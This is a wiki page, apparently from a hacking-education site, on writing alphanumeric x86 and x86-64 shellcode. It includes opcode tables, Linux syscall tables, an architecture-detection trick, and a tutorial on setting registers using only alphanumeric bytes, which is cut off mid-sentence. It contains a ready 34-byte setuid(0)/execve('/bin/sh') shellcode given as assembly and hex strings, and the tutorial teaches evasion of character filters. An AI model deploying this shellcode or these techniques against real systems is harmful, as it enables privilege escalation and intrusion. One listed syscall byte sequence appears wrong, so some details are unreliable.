Questions about this topic? Sign up to ask in the talk tab.

Alphanumeric shellcode

From NetSec
Revision as of 17:42, 19 April 2012 by LashawnSeccombe (Talk | contribs) (Alphanumeric execve('/bin/sh') - 120 bytes)

Jump to: navigation, search

Blah, There's 32 bit and 64 bit, so lets go!

Intercompatible Alphanumeric Opcodes

######################################################
#     Intercompatible x86* alphanumeric opcodes      #
######################################################
# 0x64,0x65  #  d,e  #  [fs|gs] prefix               #
# 0x66,0x67  #  f,g  #  16bit [operand|ptr] override #
# 0x68,0x6a  #  h,j  #  push                         #
# 0x69,0x6b  #  i,k  #  imul                         #
# 0x6c-0x6f  #  l-o  #  ins[bwd], outs[bwd]          #
# 0x70-0x7a  #  p-z  #  Conditional jumps            #
# 0x30-0x35  #  0-5  #  xor                          #
# 0x36       #   6   #  %ss segment register         #
# 0x38-0x39  #  8,9  #  cmp                          #
# 0x50-0x57  #  P-W  #  push *x,*i,*p                #
# 0x58-0x5a  #  XYZ  #  pop [*ax, *cx, *dx]          #
######################################################

Using machine code compatibility hiccups to determine CPU architecture

[root@ares bha]# strings xarch32.o 
TX4HPZTAZAYVH92
[root@ares bha]# strings xarch64.o 
TX4HPZTAZAYVH92
[root@ares bha]# echo -n $(strings xarch32.o)|wc -c
15
[root@ares bha]# # Returns true on a 32 bit system:
[root@ares bha]# objdump -d xarch32.o

xarch32.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   54                      push   %esp
   1:   58                      pop    %eax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %eax
   5:   5a                      pop    %edx
   6:   54                      push   %esp
   7:   41                      inc    %ecx
   8:   5a                      pop    %edx
   9:   41                      inc    %ecx
   a:   59                      pop    %ecx
   b:   56                      push   %esi
   c:   48                      dec    %eax
   d:   39 32                   cmp    %esi,(%edx)
[root@ares bha]# # Returns false on a 64 bit system:
[root@ares bha]# objdump -d xarch64.o

xarch64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   54                      push   %rsp
   1:   58                      pop    %rax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %rax
   5:   5a                      pop    %rdx
   6:   54                      push   %rsp
   7:   41 5a                   pop    %r10
   9:   41 59                   pop    %r9
   b:   56                      push   %rsi
   c:   48 39 32                cmp    %rsi,(%rdx)
[root@ares bha]# # Will not cause a segfault because (%rdx) points to somewhere inside the stack.
[root@ares bha]# # Now we can use all uppercase/numeric unicode-resistant shellcode to determine
[root@ares bha]# # cpu architecture regardless of the operating system.  Enjoy.

32 bit syscall table

Protip: Set the %eax register value to the appropriate integer to invoke the function when invoking int $0x80 or \xcd\x80.
1:sys_exit:(int error_code);
2:sys_fork:int sys_fork(struct pt_regs *);
3:sys_read:(unsigned int fd, char __user *buf, size_t count);
4:sys_write:(unsigned int fd, const char __user *buf,
5:sys_open:(const char __user *filename,
6:sys_close:(unsigned int fd);
7:sys_restart_syscall:(void);
8:sys_creat:(const char __user *pathname, int mode);
9:sys_link:(const char __user *oldname,
10:sys_unlink:(const char __user *pathname);
11:sys_execve:long sys_execve(const char __user *,
12:sys_chdir:(const char __user *filename)
13:sys_time:(time_t __user *tloc);
14:sys_mknod:(const char __user *filename, int mode,
15:sys_chmod:(const char __user *filename, mode_t mode);
16:sys_lchown16:(const char __user *filename,
19:sys_lseek:(unsigned int fd, off_t offset,
20:sys_getpid:(void);
21:sys_mount:(char __user *dev_name, char __user *dir_name,
22:sys_oldumount:(char __user *name)
23:sys_setuid16:(old_uid_t uid);
24:sys_getuid16:(void);
25:sys_stime:(time_t __user *tptr);
26:sys_ptrace:(long request, long pid, unsigned long addr,
27:sys_alarm:(unsigned int seconds);
29:sys_pause:(void);
30:sys_utime:(char __user *filename,
33:sys_access:(const char __user *filename, int mode);
34:sys_nice:(int increment);
36:sys_sync:(void);
37:sys_kill:(int pid, int sig);
38:sys_rename:(const char __user *oldname,
39:sys_mkdir:(const char __user *pathname, int mode);
40:sys_rmdir:(const char __user *pathname);
41:sys_dup:(unsigned int fildes);
42:sys_pipe:int sys_fork(struct pt_regs *);
43:sys_times:(struct tms __user *tbuf);
45:sys_brk:(unsigned long brk);
46:sys_setgid16:(old_gid_t gid);
47:sys_getgid16:(void);
48:sys_signal:(int sig, __sighandler_t handler);
49:sys_geteuid16:(void);
50:sys_getegid16:(void);
51:sys_acct:(const char __user *name);
52:sys_umount:(char __user *name, int flags)
54:sys_ioctl:(unsigned int fd, unsigned int cmd,
55:sys_fcntl:(unsigned int fd, unsigned int cmd, unsigned long arg);
57:sys_setpgid:(pid_t pid, pid_t pgid);
60:sys_umask:(int mask);
61:sys_chroot:(const char __user *filename);
62:sys_ustat:(unsigned dev, struct ustat __user *ubuf)
63:sys_dup2:int sys_fork(struct pt_regs *);
64:sys_getppid:(void);
65:sys_getpgrp:(void);
66:sys_setsid:(void);
67:sys_sigaction:asmlinkage int sys_sigaction(int, const struct old_sigaction __user *,
70:sys_setreuid16:(old_uid_t ruid, old_uid_t euid);
71:sys_setregid16:(old_gid_t rgid, old_gid_t egid);
72:sys_sigsuspend:asmlinkage int sys_sigsuspend(int, int, old_sigset_t);
73:sys_sigpending:(old_sigset_t __user *set);
74:sys_sethostname:(char __user *name, int len);
75:sys_setrlimit:(unsigned int resource,
76:sys_old_getrlimit:(unsigned int resource, struct rlimit __user *rlim);
77:sys_getrusage:(int who, struct rusage __user *ru);
78:sys_gettimeofday:(struct timeval __user *tv,
79:sys_settimeofday:(struct timeval __user *tv,
80:sys_getgroups16:(int gidsetsize, old_gid_t __user *grouplist);
81:sys_setgroups16:(int gidsetsize, old_gid_t __user *grouplist);
83:sys_symlink:(const char __user *old, const char __user *new);
85:sys_readlink:(const char __user *path,
86:sys_uselib:(const char __user *library);
87:sys_swapon:(const char __user *specialfile, int swap_flags);
88:sys_reboot:(int magic1, int magic2, unsigned int cmd,
89:sys_ni_syscall:(void);
90:sys_old_mmap:(struct mmap_arg_struct __user *arg);
91:sys_munmap:(unsigned long addr, size_t len);
92:sys_truncate:(const char __user *path, loff_t length);
93:sys_ftruncate:(unsigned int fd, unsigned long length);
94:sys_fchmod:(unsigned int fd, mode_t mode);
95:sys_fchown16:(unsigned int fd, old_uid_t user, old_gid_t group);
96:sys_getpriority:(int which, int who);
97:sys_setpriority:(int which, int who, int niceval);
99:sys_statfs:(const char __user * path,
100:sys_fstatfs:(unsigned int fd, struct statfs __user *buf);
102:sys_socketcall:(int call, unsigned long __user *args)
103:sys_syslog:(int type, char __user *buf, int len);
104:sys_setitimer:(int which,
105:sys_getitimer:(int which, struct itimerval __user *value);
106:sys_newstat:(const char __user *filename,
107:sys_newlstat:(const char __user *filename,
108:sys_newfstat:(unsigned int fd, struct stat __user *statbuf);
110:sys_lookup_dcookie:(u64 cookie64, char __user *buf, size_t len);
111:sys_vhangup:(void)
114:sys_wait4:(pid_t pid, int __user *stat_addr,
115:sys_swapoff:(const char __user *specialfile);
116:sys_sysinfo:(struct sysinfo __user *info);
117:sys_s390_ipc:
118:sys_fsync:(unsigned int fd);
119:sys_sigreturn:unsigned long sys_sigreturn(struct pt_regs *);
120:sys_clone:long sys_clone(unsigned long, unsigned long, void __user *,
121:sys_setdomainname:(char __user *name, int len);
122:sys_newuname:(struct new_utsname __user *name)
124:sys_adjtimex:(struct timex __user *txc_p);
125:sys_mprotect:(unsigned long start, size_t len,
126:sys_sigprocmask:(int how, old_sigset_t __user *set,
128:sys_init_module:(void __user *umod, unsigned long len,
129:sys_delete_module:(const char __user *name_user,
131:sys_quotactl:(unsigned int cmd, const char __user *special,
132:sys_getpgid:(pid_t pid)
133:sys_fchdir:(unsigned int fd);
134:sys_bdflush:(int func, long data);
135:sys_sysfs:(int option,
136:sys_personality:(unsigned int personality);
138:sys_setfsuid16:(old_uid_t uid);
139:sys_setfsgid16:(old_gid_t gid);
140:sys_llseek:(unsigned int fd, unsigned long offset_high,
141:sys_getdents:(unsigned int fd,
142:sys_select:
143:sys_flock:(unsigned int fd, unsigned int cmd);
144:sys_msync:(unsigned long start, size_t len, int flags);
145:sys_readv:(unsigned long fd,
146:sys_writev:(unsigned long fd,
147:sys_getsid:(pid_t pid);
148:sys_fdatasync:(unsigned int fd);
149:sys_sysctl:(struct __sysctl_args __user *args);
150:sys_mlock:(unsigned long start, size_t len);
151:sys_munlock:(unsigned long start, size_t len);
152:sys_mlockall:(int flags)
153:sys_munlockall:(void);
154:sys_sched_setparam:(pid_t pid,
155:sys_sched_getparam:(pid_t pid,
156:sys_sched_setscheduler:(pid_t pid, int policy,
157:sys_sched_getscheduler:(pid_t pid);
158:sys_sched_yield:(void);
159:sys_sched_get_priority_max:(int policy);
160:sys_sched_get_priority_min:(int policy);
161:sys_sched_rr_get_interval:(pid_t pid,
162:sys_nanosleep:(struct timespec __user *rqtp, struct timespec __user *rmtp)
163:sys_mremap:(unsigned long addr,
164:sys_setresuid16:(old_uid_t ruid, old_uid_t euid, old_uid_t suid);
165:sys_getresuid16:(old_uid_t __user *ruid,
168:sys_poll:(struct pollfd __user *ufds, unsigned int nfds,
170:sys_setresgid16:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid);
171:sys_getresgid16:(old_gid_t __user *rgid,
172:sys_prctl:
173:sys_rt_sigreturn:long sys_rt_sigreturn(struct pt_regs *);
174:sys_rt_sigaction:long sys_rt_action(int, const struct sigaction __user *, struct sigaction __user *, size_t);
175:sys_rt_sigprocmask:(int how, sigset_t __user *set,
176:sys_rt_sigpending:(sigset_t __user *set, size_t sigsetsize);
177:sys_rt_sigtimedwait:(const sigset_t __user *uthese,
178:sys_rt_sigqueueinfo:(int pid, int sig, siginfo_t __user *uinfo);
179:sys_rt_sigsuspend:
180:sys_pread64:(unsigned int fd, char __user *buf,
181:sys_pwrite64:(unsigned int fd, const char __user *buf,
182:sys_chown16:
183:sys_getcwd:(char __user *buf, unsigned long size);
184:sys_capget:(cap_user_header_t header,
185:sys_capset:(cap_user_header_t header,
186:sys_sigaltstack:long sys_sigaltstack(const stack_t __user *, stack_t __user *,
187:sys_sendfile:(int out_fd, int in_fd,
190:sys_vfork:int sys_vfork(struct pt_regs *regs)
191:sys_getrlimit:(unsigned int resource,
192:sys_mmap2:
193:sys_truncate64:(const char __user *path, loff_t length);
194:sys_ftruncate64:(unsigned int fd, loff_t length);
195:sys_stat64:(const char __user *filename,
196:sys_lstat64:(const char __user *filename,
197:sys_fstat64:(unsigned long fd, struct stat64 __user *statbuf);
198:sys_lchown:(const char __user *filename,
199:sys_getuid:(void);
200:sys_getgid:(void);
201:sys_geteuid:(void);
202:sys_getegid:(void);
203:sys_setreuid:(old_uid_t ruid, old_uid_t euid);
204:sys_setregid:(old_gid_t rgid, old_gid_t egid);
205:sys_getgroups:(int gidsetsize, old_gid_t __user *grouplist);
206:sys_setgroups:(int gidsetsize, old_gid_t __user *grouplist);
207:sys_fchown:(unsigned int fd, old_uid_t user, old_gid_t group);
208:sys_setresuid:(old_uid_t ruid, old_uid_t euid, old_uid_t suid);
209:sys_getresuid:(old_uid_t __user *ruid,
210:sys_setresgid:(old_gid_t rgid, old_gid_t egid, old_gid_t sgid);
211:sys_getresgid:(old_gid_t __user *rgid,
212:sys_chown:
213:sys_setuid:(old_uid_t uid);
214:sys_setgid:(old_gid_t gid);
215:sys_setfsuid:(old_uid_t uid);
216:sys_setfsgid:(old_gid_t gid);
217:sys_pivot_root:(const char __user *new_root,
218:sys_mincore:(unsigned long start, size_t len,
219:sys_madvise:(unsigned long start, size_t len, int behavior);
220:sys_getdents64:(unsigned int fd,
221:sys_fcntl64:(unsigned int fd,
222:sys_readahead:(int fd, loff_t offset, size_t count)
223:sys_sendfile64:(int out_fd, int in_fd,
224:sys_setxattr:(const char __user *path, const char __user *name,
225:sys_lsetxattr:(const char __user *path, const char __user *name,
226:sys_fsetxattr:(int fd, const char __user *name,
227:sys_getxattr:(const char __user *path, const char __user *name,
228:sys_lgetxattr:(const char __user *path, const char __user *name,
229:sys_fgetxattr:(int fd, const char __user *name,
230:sys_listxattr:(const char __user *path, char __user *list,
231:sys_llistxattr:(const char __user *path, char __user *list,
232:sys_flistxattr:(int fd, char __user *list, size_t size)
233:sys_removexattr:(const char __user *path,
234:sys_lremovexattr:(const char __user *path,
235:sys_fremovexattr:(int fd, const char __user *name);
236:sys_gettid:(void);
237:sys_tkill:(int pid, int sig);
238:sys_futex:(u32 __user *uaddr, int op, u32 val,
239:sys_sched_setaffinity:(pid_t pid, unsigned int len,
240:sys_sched_getaffinity:(pid_t pid, unsigned int len,
241:sys_tgkill:(int tgid, int pid, int sig);
243:sys_io_setup:(unsigned nr_reqs, aio_context_t __user *ctx);
244:sys_io_destroy:(aio_context_t ctx);
245:sys_io_getevents:(aio_context_t ctx_id,
246:sys_io_submit:(aio_context_t, long,
247:sys_io_cancel:(aio_context_t ctx_id, struct iocb __user *iocb,
248:sys_exit_group:(int error_code);
249:sys_epoll_create:(int size);
250:sys_epoll_ctl:(int epfd, int op, int fd,
251:sys_epoll_wait:(int epfd, struct epoll_event __user *events,
252:sys_set_tid_address:(int __user *tidptr)
253:sys_s390_fadvise64:
254:sys_timer_create:(clockid_t which_clock,
255:sys_timer_settime:(timer_t timer_id, int flags,
256:sys_timer_gettime:(timer_t timer_id,
257:sys_timer_getoverrun:(timer_t timer_id);
258:sys_timer_delete:(timer_t timer_id);
259:sys_clock_settime:(clockid_t which_clock,
260:sys_clock_gettime:(clockid_t which_clock,
261:sys_clock_getres:(clockid_t which_clock,
262:sys_clock_nanosleep:
264:sys_s390_fadvise64_64:
265:sys_statfs64:(const char __user *path, size_t sz,
266:sys_fstatfs64:(unsigned int fd, size_t sz,
267:sys_remap_file_pages:
271:sys_mq_open:(const char __user *name, int oflag, mode_t mode, struct mq_attr __user *attr);
272:sys_mq_unlink:(const char __user *name)
273:sys_mq_timedsend:(mqd_t mqdes, const char __user *msg_ptr, size_t msg_len, unsigned int msg_prio, const struct timespec __user *abs_timeout);
274:sys_mq_timedreceive:(mqd_t mqdes, char __user *msg_ptr, size_t msg_len, unsigned int __user *msg_prio, const struct timespec __user *abs_timeout);
275:sys_mq_notify:(mqd_t mqdes, const struct sigevent __user *notification);
276:sys_mq_getsetattr:(mqd_t mqdes, const struct mq_attr __user *mqstat, struct mq_attr __user *omqstat);
277:sys_kexec_load:(unsigned long entry, unsigned long nr_segments,
278:sys_add_key:(const char __user *_type,
279:sys_request_key:(const char __user *_type,
280:sys_keyctl:(int cmd, unsigned long arg2, unsigned long arg3,
281:sys_waitid:(int which, pid_t pid,
282:sys_ioprio_set:(int which, int who, int ioprio)
283:sys_ioprio_get:(int which, int who);
284:sys_inotify_init:(void);
285:sys_inotify_add_watch:(int fd, const char __user *path,
286:sys_inotify_rm_watch:(int fd, __s32 wd);
288:sys_openat:(int dfd, const char __user *filename, int flags,
289:sys_mkdirat:(int dfd, const char __user * pathname, int mode);
290:sys_mknodat:(int dfd, const char __user * filename, int mode,
291:sys_fchownat:(int dfd, const char __user *filename, uid_t user,
292:sys_futimesat:
293:sys_fstatat64:(int dfd, const char __user *filename,
294:sys_unlinkat:(int dfd, const char __user * pathname, int flag);
295:sys_renameat:(int olddfd, const char __user * oldname,
296:sys_linkat:(int olddfd, const char __user *oldname,
297:sys_symlinkat:(const char __user * oldname,
298:sys_readlinkat:(int dfd, const char __user *path, char __user *buf,
299:sys_fchmodat:(int dfd, const char __user * filename,
300:sys_faccessat:(int dfd, const char __user *filename, int mode);
301:sys_pselect6:(int, fd_set __user *, fd_set __user *,
302:sys_ppoll:
303:sys_unshare:(unsigned long unshare_flags);
304:sys_set_robust_list:(struct robust_list_head __user *head,
305:sys_get_robust_list:(int pid,
306:sys_splice:(int fd_in, loff_t __user *off_in,
307:sys_sync_file_range:(int fd, loff_t offset, loff_t nbytes,
308:sys_tee:(int fdin, int fdout, size_t len, unsigned int flags);
309:sys_vmsplice:(int fd, const struct iovec __user *iov,
311:sys_getcpu:(unsigned __user *cpu, unsigned __user *node, struct getcpu_cache __user *cache)
312:sys_epoll_pwait:
313:sys_utimes:(char __user *filename,
314:sys_s390_fallocate:
315:sys_utimensat:(int dfd, const char __user *filename,
316:sys_signalfd:(int ufd, sigset_t __user *user_mask, size_t sizemask);
318:sys_eventfd:(unsigned int count);
319:sys_timerfd_create:(int clockid, int flags);
320:sys_timerfd_settime:(int ufd, int flags,
321:sys_timerfd_gettime:(int ufd, struct itimerspec __user *otmr);
322:sys_signalfd4:(int ufd, sigset_t __user *user_mask, size_t sizemask, int flags)
323:sys_eventfd2:int sys_fork(struct pt_regs *);
324:sys_inotify_init1:(int flags);
325:sys_pipe2:int sys_fork(struct pt_regs *);
326:sys_dup3:(unsigned int oldfd, unsigned int newfd, int flags);
327:sys_epoll_create1:(int flags);
328:sys_preadv:(unsigned long fd, const struct iovec __user *vec,
329:sys_pwritev:(unsigned long fd, const struct iovec __user *vec,
330:sys_rt_tgsigqueueinfo:(pid_t tgid, pid_t  pid, int sig,
331:sys_perf_event_open:(
332:sys_fanotify_init:(unsigned int flags, unsigned int event_f_flags)
333:sys_fanotify_mark:(int fanotify_fd, unsigned int flags,
334:sys_prlimit64:(pid_t pid, unsigned int resource,
335:sys_name_to_handle_at:(int dfd, const char __user *name,
336:sys_open_by_handle_at:(int mountdirfd,
337:sys_clock_adjtime:(clockid_t which_clock,
338:sys_syncfs:(int fd);
339:sys_setns:(int fd, int nstype);
340:sys_process_vm_readv:(pid_t pid,
341:sys_process_vm_writev:(pid_t pid,

64 bit syscall table

Protip: Set the %rax register value to the appropriate integer to invoke the function when invoking syscall or \xf0\x05.
0:read
1:write
2:open
3:close
4:stat
5:fstat
6:lstat
7:poll
8:lseek
9:mmap
10:mprotect
11:munmap
12:brk
13:rt_sigaction
14:rt_sigprocmask
15:rt_sigreturn
16:ioctl
17:pread64
18:pwrite64
19:readv
20:writev
21:access
22:pipe
23:select
24:sched_yield
25:mremap
26:msync
27:mincore
28:madvise
29:shmget
30:shmat
31:shmctl
32:dup
33:dup2
34:pause
35:nanosleep
36:getitimer
37:alarm
38:setitimer
39:getpid
40:sendfile
41:socket
42:connect
43:accept
44:sendto
45:recvfrom
46:sendmsg
47:recvmsg
48:shutdown
49:bind
50:listen
51:getsockname
52:getpeername
53:socketpair
54:setsockopt
55:getsockopt
56:clone
57:fork
58:vfork
59:execve
60:exit
61:wait4
62:kill
63:uname
64:semget
65:semop
66:semctl
67:shmdt
68:msgget
69:msgsnd
70:msgrcv
71:msgctl
72:fcntl
73:flock
74:fsync
75:fdatasync
76:truncate
77:ftruncate
78:getdents
79:getcwd
80:chdir
81:fchdir
82:rename
83:mkdir
84:rmdir
85:creat
86:link
87:unlink
88:symlink
89:readlink
90:chmod
91:fchmod
92:chown
93:fchown
94:lchown
95:umask
96:gettimeofday
97:getrlimit
98:getrusage
99:sysinfo
100:times
101:ptrace
102:getuid
103:syslog
104:getgid
105:setuid
106:setgid
107:geteuid
108:getegid
109:setpgid
110:getppid
111:getpgrp
112:setsid
113:setreuid
114:setregid
115:getgroups
116:setgroups
117:setresuid
118:getresuid
119:setresgid
120:getresgid
121:getpgid
122:setfsuid
123:setfsgid
124:getsid
125:capget
126:capset
127:rt_sigpending
128:rt_sigtimedwait
129:rt_sigqueueinfo
130:rt_sigsuspend
131:sigaltstack
132:utime
133:mknod
134:uselib
135:personality
136:ustat
137:statfs
138:fstatfs
139:sysfs
140:getpriority
141:setpriority
142:sched_setparam
143:sched_getparam
144:sched_setscheduler
145:sched_getscheduler
146:sched_get_priority_max
147:sched_get_priority_min
148:sched_rr_get_interval
149:mlock
150:munlock
151:mlockall
152:munlockall
153:vhangup
154:modify_ldt
155:pivot_root
156:_sysctl
157:prctl
158:arch_prctl
159:adjtimex
160:setrlimit
161:chroot
162:sync
163:acct
164:settimeofday
165:mount
166:umount2
167:swapon
168:swapoff
169:reboot
170:sethostname
171:setdomainname
172:iopl
173:ioperm
174:create_module
175:init_module
176:delete_module
177:get_kernel_syms
178:query_module
179:quotactl
180:nfsservctl
181:getpmsg
182:putpmsg
183:afs_syscall
184:tuxcall
185:security
186:gettid
187:readahead
188:setxattr
189:lsetxattr
190:fsetxattr
191:getxattr
192:lgetxattr
193:fgetxattr
194:listxattr
195:llistxattr
196:flistxattr
197:removexattr
198:lremovexattr
199:fremovexattr
200:tkill
201:time
202:futex
203:sched_setaffinity
204:sched_getaffinity
205:set_thread_area
206:io_setup
207:io_destroy
208:io_getevents
209:io_submit
210:io_cancel
211:get_thread_area
212:lookup_dcookie
213:epoll_create
214:epoll_ctl_old
215:epoll_wait_old
216:remap_file_pages
217:getdents64
218:set_tid_address
219:restart_syscall
220:semtimedop
221:fadvise64
222:timer_create
223:timer_settime
224:timer_gettime
225:timer_getoverrun
226:timer_delete
227:clock_settime
228:clock_gettime
229:clock_getres
230:clock_nanosleep
231:exit_group
232:epoll_wait
233:epoll_ctl
234:tgkill
235:utimes
236:vserver
237:mbind
238:set_mempolicy
239:get_mempolicy
240:mq_open
241:mq_unlink
242:mq_timedsend
243:mq_timedreceive
244:mq_notify
245:mq_getsetattr
246:kexec_load
247:waitid
248:add_key
249:request_key
250:keyctl
251:ioprio_set
252:ioprio_get
253:inotify_init
254:inotify_add_watch
255:inotify_rm_watch
256:migrate_pages
257:openat
258:mkdirat
259:mknodat
260:fchownat
261:futimesat
262:newfstatat
263:unlinkat
264:renameat
265:linkat
266:symlinkat
267:readlinkat
268:fchmodat
269:faccessat
270:pselect6
271:ppoll
272:unshare
273:set_robust_list
274:get_robust_list
275:splice
276:tee
277:sync_file_range
278:vmsplice
279:move_pages
280:utimensat
281:epoll_pwait
282:signalfd
283:timerfd_create
284:eventfd
285:fallocate
286:timerfd_settime
287:timerfd_gettime
288:accept4
289:signalfd4
290:eventfd2
291:epoll_create1
292:dup3
293:pipe2
294:inotify_init1
295:preadv
296:pwritev
297:rt_tgsigqueueinfo
298:perf_event_open
299:recvmmsg
300:fanotify_init
301:fanotify_mark
302:prlimit64
303:name_to_handle_at
304:open_by_handle_at
305:clock_adjtime
306:syncfs
307:sendmmsg
308:setns
309:getcpu
310:process_vm_readv
311:process_vm_writev

64 bit shellcode example

setuid(0); execve('/bin/sh'); - 34 bytes

 
.section .data
.section .text
.globl _start
_start:
 
 xor %rdi, %rdi
 push $0x69
 pop %rax
 syscall                                # setuid(0)
 
 # a function is f(%rdi,%rdx,%rsi).
 # Use zeroed memory to zero out %rsi, %rdi, %rdx
 push %rdi
 push %rdi
 pop %rsi
 pop %rdx
 
 # Store '/bin/sh\0' in %rdi
 movq $0x68732f6e69622f6a, %rdi
 shr $0x8,%rdi
 push %rdi
 push %rsp
 pop %rdi
 push $0x3b
 pop %rax
 syscall                                # execve('/bin/sh', null, null)
                                        # function no. is 59/0x3b - execve()
 
  • Setuid(0) - 8 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05"
  • execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
  • Altogether - 34 bytes:
"\x48\x31\xff\x6a\x69\x58\x0f\x05\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

64 bit alphanum available instructions

cmp
imul
insb
insl
insw
ja
jae
jb
jbe
je
jne
jno
jns
jo
jp
js
movslq
outsb
outsl
outsw
pop
push
pushq
pushw
xor

64 bit alphanumeric code register manipulation guide

       # This is nothing except for how-to zero out 
       # all the cpu registers in alpha space
       push %rsp
       pop %rcx                 # Now, watch carefully.
       
       push %rsi
       xor %ss:(%rcx), %rsi     # Zero out %rsi
       pop %r8                  # setting %rsp back to %rcx
       push %rdi
       xor %ss:(%rcx), %rdi     # Zero out %rdi
       pop %r8                  # set %rsp to %rcx
       
       push %rdi
       pop %rdx                 # rdx is zero
       push $0x30
       pop %rax
       xor $0x30, %al           # zeroed out %rax
       # Time to zero %rbx and %rbp
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx) # Zero that stack slot
       xor %rbx, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbx # %rbx is zero
       push %rdx
       pop %rax                 # re-initialize %rax as dummy
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx)
       xor %rbp, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbp # %rbp is zero
       # Setting register values and data manipulation
       # in alphanumeric code for the 64 bit amd.
       #  by hatter (blackhatacademy.org)


       # The first method to set the value of a 
       # register is using push/pop.
       # The following pushes are valid 
       # alphanumeric code:
       # pushw [word]          \x66\x68\x##\x##        fh??
       # pushq [byte]          \x6a\x##                j?
       # pushq [dword]         \x68\x##\x##\x##\x##    h????
       #
       # So we can tell from that we can push our own 
       # alphanumeric data in one byte, two byte, and 
       # four-byte quantities at once.
       # 
       # 64 bit registers:
       # %r8-%r15, rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi
       # 0x41[0x50-57]
       #
       # push %r8              \x41\x50                AP
       # push %r9              \x41\x51                AQ
       # push %r10             \x41\x52                AR
       # push %r11             \x41\x53                AS
       # push %r12             \x41\x54                AT
       # push %r13             \x41\x55                AU
       # push %r14             \x41\x56                AV
       # push %r15             \x41\x57                AW
       #
       # We can see here quickly that the 'A' opcode is 
       # actually a prefix for the extended 64 bit CPU
       # registers.  We can tell that %r8-%r15 correspond
       # to registers %rax-%rdi when examining our next
       # push instructions:
       #
       # push %rax             \x50                    P
       # push %rcx             \x51                    Q
       # push %rdx             \x52                    R
       # push %rbx             \x53                    S
       # push %rsp             \x54                    T
       # push %rbp             \x55                    U
       # push %rsi             \x56                    V
       # push %rdi             \x57                    W
       #
       # 16 bit registers:
       # 0x66 or 'f' prefix:
       # %r8w-%r15w
       # %ax,%cx,%dx,%bx,%sp,%bp,%si,%di
       # example: \x41\x50, "push %r8" (AP)
       # becomes: \x66\x41\x50, "push %r8w" (fAP)
       # The following pops are alphanumeric:
       #   * Protip, the %r's take +1 byte
       #
       # 64-bit registers:
       # %rcx, %rdx, %rax
       #
       # pop %rax              \x58                    X
       # pop %rcx              \x59                    Y
       # pop %rdx              \x5a                    Z
       #
       # * Use \x41 (A) prefix to access %r8-r10 e.g. AX
       #
       # 16 bit registers (using 0x66 or 'f' 
       # [sometimes fA] prefix):
       # %cx, %dx, %ax, %r8w, %r9w, %r10w 
       #
       # So, using push and pop we can set the values of 
       # 6 fullsize CPU registers:
       # %rax, %rcx, %rdx, %r8, %r9, %r8
       #
       # Or get any values of 16 fullsize CPU registers 
       # to the top of the stack:
       # %r8-%r15, %rax-%rdi
       #
       # Lets look quickly.  We've got 5 main registers 
       # and 5 special 64 bit registers we can push but
       # not pop:
       # %rbx, %rsp, %rbp, %rsi, %rdi
       #
       # How can we write to those (or read their 
       # sub-registers) using alphanumeric bytecode
       # instructions and operands only? We can also 
       # presumably use any of the 6 full control 
       # registers by our emulating for mov with push
       # and pop.  Using only the registers we can 
       # already access, we will attempt to get 
       # instructions for our use to set values.
       #
       # We've identified our special register prefix, 
       #       0x41, 'A'.
       # We've identified our word operand override, 
       #       0x66, 'f'.
       #
       # Lets identify all the alphanumeric overrides and prefixes.
       # Notice these overrides are very similar to those for 32
       # bit platforms.
       #
       #       0x36, '6', %ss segment override.  Very handy.
       #       0x64, 'd', %fs segment override
       #       0x65, 'e', %gs segment override
       #
       #       0x66, 'f', 16 bit operand size
       #       0x67, 'g', 16 bit address size
       #
       #       0x41, 'A', 64 bit special register use (%r##)
       #       0x48, 'H', 64 bit register size override
       #
       #       0x40-4a, special 64 bit overrides
       # 
       # Now is probably a good time to mention that the
       # opcodes used for popping a register can also be
       # used as 'register operands' for more advanced
       # instructions.  For example, take this xor
       # instruction:
       #       xor $0x[byte](%rax),%ebx 
       #       "\x33\x58\x##"                  "3X?"
       #
       # The %rax register can be changed to %rcx or %rdx
       # using the 0x59 (Y) and 0x5a (Z) opcodes in place
       # of the 0x58 (X) opcode:
       #       xor $0x[byte](%rax),%ebx
       #       "\x33\x59\x##"                  "3Y?"
       #
       # Whenever there's a controllable register, we'll
       # use the notation {reg} so we'll recognize it as
       # an option.  In our bytecodes and string examples,
       # we will use a '?' in the bytecode itself and a 
       # '*' to denote the register operand, for example:
       #       xor $0x[byte]({reg}),%ebx
       #       "\x33\x??\x##"                  "3*?"
       #
       # So start memorizing the opcodes for rax,rcx, and
       # rdx, and get it in your head that they'll be used
       # frequently.  When we run into multiple operands, 
       # we'll use their operand number in the notation 
       # for readability purposes.
       #
       # -Xor
       # -Imul
       # -Movslq
       # 
       # Identifying the ways to set the rest of our 
       # registers, while investigating %rbx, was not 
       # entirely fruitful.  We do not get full control
       # over the %rbx register, however, we get write
       # access to sub-registers:
       #       %ebx, %bx, %bh, %bl
       # We can access these by using xor, imul, and
       # movslq instructions:
       #  -%ebx:
       #       xor $0x[byte]({reg}),%ebx       
       #       "\x33\x??\x##"                  "3*?"
       #
       #       imul $0x[dword1],0x[byte2]({reg}),%ebx
       #       "\x69\x??\x#2\x#1\x#1\x#1\x#1"  "i*21111"
       #
       #       imul $0x[byte1],0x[byte2]({reg}), %ebx
       #       "\x6b\x??\x#2\x#1"              "k*21"
       #
       #       movslq 0x[byte1]({reg}), %ebx
       #       "\x63\x??\x##                   "c*?"
       #
       # Note: if you want to access the %ss segment, put
       # the prefix at the beginning of the bytecode of
       # instructions (e.g. "63*?" in stead of "3*?").  If
